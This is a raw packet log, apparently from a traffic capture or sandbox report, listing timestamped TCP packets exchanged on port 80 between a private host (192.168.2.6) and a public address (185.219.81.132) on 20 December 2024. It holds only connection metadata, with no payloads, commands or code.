Dec 20, 2024 22:52:39.068681002 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.069469929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.069518089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.069581985 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.069633961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.070167065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.073883057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.144195080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.144207001 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.144284964 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.144552946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.144617081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.144679070 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.144727945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.145302057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.145390034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.145595074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.145663023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.145703077 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.145869017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.146456003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.146526098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.146559954 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.146614075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.147356987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.147424936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.147449970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.147489071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.148094893 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.148252010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.148292065 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.148292065 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.149034023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.149187088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.149240017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.149750948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.149806023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.149892092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.150126934 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.150571108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.150789976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.150859118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.151484966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.151551962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.151567936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.151603937 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.152290106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.152345896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.152398109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.153105021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.153271914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.222381115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.222487926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.222620010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.222764969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.223030090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.223038912 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.223236084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.223347902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.223404884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.223603964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.223721027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.224315882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.224335909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.224373102 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.225126028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.225173950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.225179911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.225267887 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.225887060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.225944996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.226035118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.226089001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.226696014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.226746082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.226823092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.226885080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.227544069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.227622032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.227654934 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.227696896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.228374958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.228465080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.228499889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.228550911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.229235888 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.229338884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.229398012 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.230030060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.230083942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.230144024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.230211020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.230856895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.230930090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.230977058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.231117010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.231739998 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.231792927 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.231822014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.231877089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.232574940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.232799053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.232924938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.233383894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.233635902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.233652115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.233684063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.234168053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.234405994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.234410048 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.234447002 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.235064030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.235131025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.235212088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.235264063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.235882998 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.235913038 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.235960960 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.236780882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.236790895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.236835003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.237505913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.237565994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.237639904 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.238060951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.238352060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.238398075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.238557100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.238617897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.239197969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.239346981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.239350080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.239397049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.240104914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.240153074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.240186930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.240884066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.240992069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.240999937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.241045952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.301163912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.301238060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.301438093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.301681995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.301686049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.301696062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.301742077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.302316904 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.302443981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.302634001 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.302740097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.302772999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.302820921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.303611040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.303620100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.303658962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.304413080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.304620981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.304673910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.305243015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.305250883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.305303097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.305984974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.306035042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.306072950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.306128025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.306869030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.306909084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.306941986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.306984901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.307636023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.307688951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.307765007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.307810068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.308542967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.308594942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.308599949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.308636904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.309370041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.309427977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.309428930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.309473991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.310118914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.310328960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.310331106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.310363054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.311000109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.311192036 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.311194897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.311233997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.311794043 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.311849117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.311990976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.312038898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.312611103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.312663078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.312848091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.312886953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.313491106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.313570023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.313626051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.314367056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.314486027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.314572096 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.314632893 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.315220118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.315229893 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.315278053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.315926075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.316066980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.342206955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.342355967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.342494965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.343091965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.343102932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.343152046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.343508959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.343559980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.343842983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.343905926 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.343924999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.344055891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.344681978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.344728947 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.344731092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.344795942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.345417023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.345577955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.345580101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.345633030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.346301079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.346354008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.346472979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.346523046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.347110033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.347151041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.347258091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.347368002 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.347968102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.348072052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.348128080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.348822117 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.349025965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.349041939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.349071026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.349596977 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.349775076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.349775076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.349816084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.350467920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.350517988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.350557089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.350624084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.351355076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.351406097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.351486921 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.351532936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.352113962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.352194071 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.352238894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.352277040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.414521933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.414531946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.414608955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.414798021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.414849043 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.414990902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.415199995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.415618896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.415657997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.415729046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.415769100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.416554928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.416563034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.416606903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.417454958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.417503119 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.417512894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.417541027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.418260098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.418312073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.418354034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.418392897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.418967962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.419033051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.419107914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.419152021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.419838905 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.419940948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.419941902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.419987917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.420620918 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.420718908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.420766115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.421468019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.421539068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.421577930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.421683073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.422357082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.422404051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.422447920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.422488928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.423177958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.423201084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.423229933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.423240900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.423928022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.424247980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.424339056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.424808025 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.424854994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.424892902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.424973965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.425637960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.425836086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.425838947 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.425898075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.426485062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.426527977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.426534891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.426589966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.427519083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.427611113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.427614927 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.427653074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.428359985 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.428507090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.428589106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.428908110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.428951979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.429076910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.429120064 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.429774046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.429822922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.429860115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.429902077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.430650949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.430731058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.430733919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.430773973 CET	49786	80	192.168.2.6	185.219.81.132
